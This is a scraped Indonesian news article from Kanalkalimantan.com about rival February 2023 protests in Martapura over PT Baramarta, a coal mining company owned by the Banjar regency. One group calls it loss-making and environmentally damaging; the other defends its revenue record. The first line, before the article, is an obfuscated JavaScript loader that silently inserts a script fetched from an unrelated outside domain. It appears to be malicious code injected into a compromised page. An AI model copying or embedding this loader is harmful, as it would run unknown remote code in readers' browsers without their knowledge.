(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Aspirasi suara bertema perusahaan tambang batu bara plat merah milik Pemkab Banjar kembali terdengar, Kamis (9/2/2023) siang tadi, di halaman kantor Bupati Banjar.
Puluhan massa yang tergabung dalam LSM KAKI Kalsel menggelar aksi ‘tandingan’ untuk perusahaan PT Baramarta.
Jika sebelumnya aksi unjuk rasa LSM BABAK memprotes perusahaan daerah itu selalu merugi, giliran LSM KAKI Kalsel semangat menyuarakan PT Baramarta sudah memenuhi target PAD (Pendapatan Asli Daerah).
“Mungkin kalian-kalian juga sudah tahukan, mungkin kemarin bahwa ada penyampaian pendapat, bahwa kita di sini bukan tandingan,” ujar koordinator aksi Husaini kepada sejumlah awak media.
Baca juga: Baramarta Disebut Selalu Merugi, Massa Unjuk Rasa Minta Dibubarkan
Lebih jelas Husaini mengatakan, sebelum melakukan aksi unjuk rasa ini, pihaknya mempertanyakan kebenaran isu yang beredar terlebih dahulu kepada PT Baramarta.
Soal tunggakan utang dan tumpukan PAD yang menyudutkan PT Baramarta dinilai Husaini adalah problem saat manajemen lama.
“Ternyata PT Perseroda Baramarta telah melakukan reservasi hutang pembayaran dan apa sebagainya itu dan juga tunggakan PAD, yang jadi problem ini adalah permasalahan manajemen yang lama, tentu dengan manajemen yang baru ini kita harus bersyukur bahwa mereka benar-benar untuk memperbaiki tata kelola untuk perusahan tersebut,” ujarnya.
Lagi lagi Husaini, menilai konteks PAD adalah konteks kemenangan. Kuota tata kelola pertambangan yang dilakukan PT Baramarta sudah terlampau besar. Husaini meminta jika konteksnya PAD maka harus diawasi secara bersama-sama.
Sebelumnya di lokasi yang sama, suara aksi unjuk rasa terdengar nyaring, Rabu (7/2/2023) pagi.
LSM Babak membawa puluhan massa menuntut penutupan perusahaan tambang PT Baramarta.
Perusahaan milik Pemkab Banjar ini dinilai selalu merugi, tidak menguntungkan dan aktifitasnya merusak lingkungan.
“Bila kepala daerah tidak berani membubarkan Baramarta, berarti kepala daerahnya masuk angin,” seru koordinator aksi demonstrasi, Aliansyah.
Baca juga: DPD RI: RUU Sistem Pengelolaan SDA Mampu Kembalikan Pengelolaan SDA ke Daerah
Ali meminta DPRD Banjar membentuk pansus, dasar pembentukan Pansus ini adalah PAD yang diterima tidak sebanding dengan kerugian banjir yang diterima oleh masyarakat Kabupaten Banjar.
Ketua Komisi II DPRD Banjar Ahmad Syarwani berjanji akan segera mengevaluasi perusahaan daerah PT Baramarta sesuai tahapan dan aturan yang ada.
“Kami terbuka kepada seluruh pihak yang ingin memberi masukan kepada kita, segera akan kita evaluasi,” katanya sambil menghadapi aksi. (Kanalkalimantan.com/rdy)
Reporter: rdy
Editor: bie
KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More
KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More
This website uses cookies.